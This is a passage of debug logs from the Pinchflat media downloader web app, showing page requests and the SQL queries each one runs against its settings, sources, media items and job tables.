SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:57.336 [debug] QUERY OK source="settings" db=0.1ms idle=938.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:57.337 [debug] QUERY OK source="settings" db=0.0ms idle=939.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:57.337 [debug] QUERY OK source="settings" db=0.0ms idle=401.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:57.338 [info] Sent 200 in 3ms 07:56:59.521 [info] GET /sources/3/media/10464 07:56:59.521 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "10464", "source_id" => "3"} Pipelines: [:browser] 07:56:59.522 [debug] QUERY OK source="media_items" db=0.2ms idle=1124.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10464] 07:56:59.522 [debug] QUERY OK source="tasks" db=0.1ms idle=1124.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [10464] 07:56:59.522 [debug] QUERY OK source="sources" db=0.2ms idle=1124.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:56:59.523 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1125.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1355] 07:56:59.523 [debug] QUERY OK source="settings" db=0.1ms idle=586.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:59.523 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:59.524 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:59.524 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:56:59.526 [info] Sent 200 in 4ms 07:57:00.303 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:01.494 [info] GET /sources/3/media/9353 07:57:01.494 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9353", "source_id" => "3"} Pipelines: [:browser] 07:57:01.494 [debug] QUERY OK source="media_items" db=0.2ms idle=555.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9353] 07:57:01.495 [debug] QUERY OK source="tasks" db=0.1ms idle=97.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9353] 07:57:01.495 [debug] QUERY OK source="sources" db=0.1ms idle=97.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:57:01.495 [debug] QUERY OK source="settings" db=0.0ms idle=97.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:01.495 [debug] QUERY OK source="settings" db=0.0ms idle=97.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:01.496 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:01.496 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:57:01.498 [info] Sent 200 in 4ms 07:57:03.374 [info] GET /sources/2 07:57:03.375 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 07:57:03.375 [debug] QUERY OK source="sources" db=0.2ms idle=1879.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:57:03.375 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1879.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:57:03.378 [debug] QUERY OK source="tasks" db=1.7ms idle=1879.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 07:57:03.378 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1437.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1725] 07:57:03.378 [debug] QUERY OK source="settings" db=0.1ms idle=437.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:03.379 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:03.379 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:03.380 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:57:03.381 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 07:57:03.381 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 07:57:03.382 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:57:03.382 [debug] QUERY OK source="media_items" db=0.0ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 07:57:03.383 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 07:57:03.384 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:57:03.384 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 07:57:03.385 [debug] QUERY OK source="media_items" db=0.8ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 07:57:03.387 [info] Sent 200 in 12ms 07:57:05.024 [info] GET /sources/3/media/11535 07:57:05.025 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "11535", "source_id" => "3"} Pipelines: [:browser] 07:57:05.025 [debug] QUERY OK source="media_items" db=0.1ms idle=627.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 07:57:05.026 [debug] QUERY OK source="sources" db=0.2ms idle=628.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:57:05.026 [debug] QUERY OK source="tasks" db=0.3ms idle=628.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [11535] 07:57:05.027 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=628.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1468, 1469, 1477, 1478, 1486, 1487, 1495, 1496, 1504, 1505, 1513, 1514, 1522, 1523, 1534, 1535, 1546, 1547, 1559, 1560, 1572, 1573, 1585, 1586, 1598, 1610, 1611, 1626, 1627, 1643, 1644, 1661, 1662, 1678, 1679, 1696, 1697, 1713, 1714, 1730] 07:57:05.027 [debug] QUERY OK source="settings" db=0.0ms idle=84.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:05.028 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:05.028 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:05.029 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:57:05.033 [info] Sent 200 in 8ms 07:57:06.568 [info] GET /settings 07:57:06.569 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 07:57:06.569 [debug] QUERY OK source="settings" db=0.2ms idle=624.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:06.570 [debug] QUERY OK source="settings" db=0.1ms idle=172.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:06.570 [debug] QUERY OK source="settings" db=0.1ms idle=172.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:06.570 [debug] QUERY OK source="settings" db=0.1ms idle=172.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:06.571 [info] Sent 200 in 3ms 07:57:09.023 [info] GET /media_profiles 07:57:09.023 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 07:57:09.024 [debug] QUERY OK source="media_profiles" db=0.2ms idle=626.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 07:57:09.024 [debug] QUERY OK source="settings" db=0.0ms idle=626.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:09.024 [debug] QUERY OK source="settings" db=0.0ms idle=626.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:09.025 [debug] QUERY OK source="settings" db=0.1ms idle=627.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:09.026 [info] Sent 200 in 2ms 07:57:10.079 [info] GET /sources/3/media/12040 07:57:10.079 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12040", "source_id" => "3"} Pipelines: [:browser] 07:57:10.080 